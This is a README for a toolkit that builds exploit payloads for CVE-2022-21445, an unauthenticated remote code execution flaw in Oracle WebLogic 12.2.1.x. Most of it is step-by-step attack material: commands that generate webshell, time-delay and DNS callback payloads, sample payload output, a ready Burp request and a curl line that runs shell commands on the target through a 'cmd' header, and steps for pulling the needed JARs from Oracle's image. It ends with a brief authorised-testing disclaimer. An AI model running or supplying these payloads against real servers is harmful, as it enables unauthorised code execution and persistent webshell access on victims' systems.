
Exploit para CVE-2022-21445 do Oracle Weblogic 12.2.1.X
This toolkit generates exploit payloads for CVE-2022-21445, a critical Java deserialization vulnerability affecting Oracle WebLogic Server 12.2.1.x running Oracle ADF Faces.
The flaw exists in the RemoteApplicationResourceLoader component and allows an attacker to send a specially crafted HTTP GET request that triggers unsafe deserialization. Successful exploitation can lead to unauthenticated Remote Code Execution (RCE) on the target server.
| Requisito | Versão | Finalidade |
|---|
| Python | 3.6+ | Executar o script do exploit |
| JDK | 1.8 (8u202 recomendado) | Compilar e executar o gerador de payload Java |
| Weblogic | 12.2.1.X | Versões vulneráveis |
O payload deve ser compilado com JDK 1.8 para corresponder ao runtime Java do alvo.
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
Cria um payload que lê comandos do cabeçalho HTTP cmd e retorna a saída no corpo da resposta.
python3 exploit.py --version 12.2.1.4 --type webshell
Saída:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
Para testes cegos — confirma a execução de código se a resposta for atrasada.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
Envie o payload e meça o tempo de resposta:
Para confirmação fora de banda usando Burp Collaborator ou similar.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
Use --target para obter saída formatada com o host e o caminho de contexto corretos:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
Isso formata a requisição do Burp e o comando curl com o host e o caminho corretos:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd para executar comandos diferentes
Em caso de arquivos JAR corrompidos, siga as instruções para instalar a versão desejada do Weblogic e extrair os JARs relevantes.
Isso extrai os JARs Oracle necessários da imagem Docker oficial do FMW Infrastructure.
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
Nota: O JAR
javax.mail(necessário para codificação MIME base64) é baixado automaticamente do Maven Central na primeira execução. Nenhuma configuração manual é necessária. O payload webshell usa reflexão pura e não precisa deweblogic.jarem tempo de compilação.
Esta ferramenta destina-se somente a testes de segurança autorizados. Sempre obtenha permissão por escrito antes de testar sistemas que você não possui. Os autores não são responsáveis por qualquer uso indevido. O acesso não autorizado a sistemas de computadores é ilegal.